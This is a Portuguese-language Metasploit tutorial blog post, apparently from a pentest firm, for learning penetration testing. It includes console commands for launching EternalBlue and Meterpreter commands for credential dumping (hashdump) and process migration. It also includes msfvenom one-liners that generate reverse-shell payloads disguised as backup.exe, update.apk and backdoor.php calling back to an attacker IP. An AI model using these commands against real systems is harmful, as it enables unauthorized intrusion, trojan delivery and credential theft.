Metasploit no Kali Linux: O Que é? Guia Prático com Comandos

Home  Metasploit no Kali Linux: O Que é? Guia Prático com Comandos
Profissional de cibersegurança executando testes de intrusão e exploração com Metasploit no Kali Linux

Metasploit no Kali Linux: O Que é? Guia Prático com Comandos

O Metasploit Framework (MSF) é a plataforma de testes de intrusão mais respeitada e utilizada do planeta. Ele permite que analistas de segurança, pentesters e administradores de rede simulem ataques cibernéticos reais, validem a eficácia de defesas perimetrais e comprovem a criticidade de falhas antes que agentes mal-intencionados as explorem.

O Que É o Metasploit e Quem o Desenvolve?

O Metasploit não é apenas uma ferramenta, mas um ecossistema completo de segurança ofensiva. O projeto nasceu em 2003, criado pelo pesquisador de segurança H.D. Moore como uma aplicação de rede portátil baseada na linguagem Perl. Em 2007, a plataforma foi totalmente reescrita em Ruby, o que multiplicou sua capacidade de expansão.

Em 2009, o projeto foi adquirido pela Rapid7, uma empresa global de cibersegurança e análise de dados. Hoje, o Metasploit é desenvolvido de forma colaborativa com um modelo híbrido:

  • Metasploit Framework (Open Source): A versão de linha de comando (CLI) gratuita, de código aberto, mantida colaborativamente por milhares de desenvolvedores no repositório oficial do GitHub. É a versão que já vem embutida no Kali Linux e Parrot OS.
  • Metasploit Pro (Comercial): A versão corporativa da Rapid7, que conta com interface gráfica web (GUI), campanhas automatizadas de phishing, integração corporativa avançada e geração de relatórios de conformidade.
Dicionário Rápido • Fundamentos do Framework

Entenda a Terminologia Técnica:

  • Vulnerabilidade: Uma fraqueza de configuração ou falha lógica em um software ou sistema operacional.
  • Exploit: O script desenvolvido sob medida para tirar proveito da vulnerabilidade e “abrir a porta” do alvo.
  • Payload: O código malicioso que será executado no sistema alvo após a invasão bem-sucedida da porta aberta pelo exploit.
  • Meterpreter: Um payload dinâmico, avançado e furtivo que injeta bibliotecas (DLLs) diretamente na memória RAM, sem salvar arquivos no disco rígido.

Arquitetura Modular: Como o Metasploit É Organizado

O sucesso mundial do Metasploit deve-se à sua arquitetura incrivelmente modular. Ele é dividido em seis componentes centrais (módulos), permitindo que pesquisadores criem novos ataques como peças de Lego:

  • Exploits: Módulos de ataque direcionados a serviços específicos (ex: Apache, SMB, IIS).
  • Payloads: Cargas de execução remotas (Reverse Shell, Bind Shell, VNC injection).
  • Auxiliary: Ferramentas que não executam payloads, como scanners de rede, localizadores de senhas fracas e fuzzers.
  • Post (Pós-Exploração): Módulos para escalar privilégios, coletar hashes de senhas locais e buscar dados em máquinas já comprometidas.
  • Encoders: Motores projetados para alterar a assinatura do payload (ofuscação), com o objetivo de contornar detecções de antivírus comuns (ex: x86/shikata_ga_nai).
  • NOP Generators: Geradores de No-Operation, vitais para estabilizar os endereços de memória durante um ataque de buffer overflow.

O Ciclo de Vida da Exploração de Vulnerabilidades

Um teste de invasão profissional não se resume a digitar um comando. Ele segue uma metodologia tática, normalmente dividida em quatro fases principais de atuação dentro do terminal do Kali Linux:

Penetration Testing Execution Standard

As 4 Fases de Exploração no Metasploit

01

Reconhecimento & DB

Mapeamento de portas e versões de software com armazenamento integrado no PostgreSQL via db_nmap.

02

Seleção de Exploit

Pesquisa no acervo de CVEs e carregamento do script de ataque compatível com a arquitetura e software alvo.

03

Payload & Parâmetros

Definição da carga (ex: shell reversa) e configuração de IP alvo (RHOSTS) e IP do atacante (LHOST).

04

Disparo & Pós-Ataque

Acionamento do exploit em si, obtenção do terminal (Meterpreter) e escalonamento de privilégios na máquina.

Vídeo Tutorial: Usando o Metasploit Framework na Prática

Para uma demonstração visual do ciclo completo — do escaneamento do alvo à abertura de uma sessão no Meterpreter — assista a este tutorial prático no Kali Linux:

Vídeo: Demonstração prática do uso do Metasploit via terminal (msfconsole).

Guia Prático: Comandos Passo a Passo do Console

Caso o seu ambiente seja Kali Linux ou Parrot OS, você possui a suíte instalada nativamente. Abaixo está a anatomia de comandos essenciais para executar seu primeiro teste de intrusão local:

Passo 1: Inicializar o Banco de Dados e o Console

O banco PostgreSQL armazena informações vitais das varreduras. Ligue o banco e entre na console silenciosamente:

sudo msfdb init
msfconsole -q
Passo 2: Reconhecimento Integrado com Nmap

Em vez de rodar ferramentas separadas, use o db_nmap para popular as tabelas internas do framework:

msf6 > db_nmap -sV -sS -p 21,22,80,445 192.168.1.100
msf6 > hosts
msf6 > services
Passo 3: Busca e Configuração do Módulo

Busque pelo nome da vulnerabilidade (ex: EternalBlue) e aplique os parâmetros essenciais:

msf6 > search name:eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 192.168.1.100
msf6 exploit(...) > set LHOST 192.168.1.25
msf6 exploit(...) > exploit

Pós-Exploração: Comandos Essenciais do Meterpreter

Ao conseguir uma sessão de intrusão com o Meterpreter, o terminal mudará. Esses são os comandos mais vitais para dominar o alvo:

  • sysinfo: Verifica dados gerais como arquitetura (x86/x64) e idioma do sistema invadido.
  • getuid: Mostra qual o nível de usuário você possui no momento (ex: usuário comum ou administrador).
  • ps: Imprime a lista de processos ativos (tarefas) executando na máquina alvo.
  • migrate [PID]: Copia furtivamente a sua sessão do Meterpreter para dentro da memória de um processo seguro, como o explorer.exe.
  • hashdump: Captura o banco de dados de senhas fragmentadas locais do sistema Windows (SAM).
  • shell: Larga o Meterpreter temporariamente para abrir o terminal CMD/Bash tradicional da máquina alvo.
  • background: Coloca o ataque “em pausa” devolvendo o console principal do Metasploit, mantendo a conexão ativa no fundo.

💡 Dicas Hacker: Engenharia de Payloads Customizados com msfvenom

Enquanto o Metasploit Framework foca na execução do ataque, o utilitário standalone msfvenom é o responsável por forjar e embalar códigos de intrusão em arquivos falsos executáveis para auditorias de phishing e engenharia social:

🔥 Laboratório Rápido de MSFVENOM:

Trojan Executável Windows (.exe)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=MEU_IP LPORT=4444 -f exe -o backup.exe

Aplicativo Malicioso Android (.apk)

msfvenom -p android/meterpreter/reverse_tcp LHOST=MEU_IP LPORT=4444 -o update.apk

Script Web PHP Escalonado

msfvenom -p php/meterpreter_reverse_tcp LHOST=MEU_IP LPORT=4444 -f raw -o backdoor.php

Entendendo as Diferenças Entre os Tipos de Payload

Tipo de PayloadComo Opera TecnicamenteVantagem EstratégicaDesafio na Prática
Singles / InlineContém o script de execução e toda a carga pesada dentro de um único pacote massivo.Robusto e sem dependência de um download posterior.O tamanho grande inviabiliza vulnerabilidades de memória limitada.
Staged PayloadsExecuta um programa minúsculo (stager) que abre caminho para baixar a carga bruta.Tamanho microscópico adaptável a restrições de estouro de memória.Gera tráfego suspeito na rede ao chamar o pacote secundário.
Reverse TCP vs Bind TCPO Reverse obriga o alvo a “te ligar”. O Bind abre uma porta silenciosa para você ligar para ele.O Reverse bypassa os firewalls modernos que bloqueiam conexões externas de entrada.Exige configuração de IP fixo ou roteamento correto no lado do atacante.

Perguntas Frequentes e Dúvidas Comuns

1. É legal e ético usar o Metasploit no Brasil?

Sim. O software em si é uma ferramenta administrativa auditável. O uso é legal desde que o profissional ou empresa esteja executando os comandos em um ambiente de laboratório próprio ou possua um contrato formal de Pen Test assinado pelo proprietário da rede alvo (Rules of Engagement). Utilizar o MSF contra redes de terceiros sem permissão configura crime digital previsto na Lei Carolina Dieckmann e no Marco Civil da Internet.

2. Por que o antivírus bloqueia o Metasploit no Windows?

Porque grande parte da biblioteca do Metasploit contém códigos de malwares reais usados como simulação. Para rodar o Metasploit diretamente no Windows, é necessário criar exclusões explícitas no Windows Defender, o que diminui a segurança de uso corporativo. Por esse motivo, recomenda-se o uso exclusivo dentro de máquinas virtuais com sistemas nativos ofensivos como Kali Linux e Parrot OS.

3. O Metasploit Framework ainda consegue burlar antivírus modernos?

Utilizado isoladamente, dificilmente. As assinaturas dos encoders base do MSF (como o shikata_ga_nai) e do formato do Meterpreter já são mapeadas e bloqueadas instantaneamente pelos modernos EDRs e Antivírus Corporativos. Para simulações modernas, hackers éticos combinam o MSF com ferramentas de ofuscação externas (Crypters e Packers) para garantir o bypass do antivírus.

TESTES DE INVASÃO E AUDITORIA OFENSIVA

A Sua Infraestrutura Suportaria um Ataque Simulado com Metasploit?

A equipe de Ethical Hacking da Alliances realiza testes de intrusão corporativos (Black, Grey e White Box), validando falhas reais antes que agentes mal-intencionados obtenham acesso aos servidores da sua organização.

🔗 Artigos e Referências Complementares:

1 Comment

    […] já vêm pré-instaladas com uma variedade de ferramentas de penetração como Nmap, Metasploit e Burp Suite. No entanto, é benéfico personalizar suas VMs com ferramentas adicionais dependendo […]

Leave a comment

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Vamos trabalhar juntos!
Basta nos chamar em nossos Canais.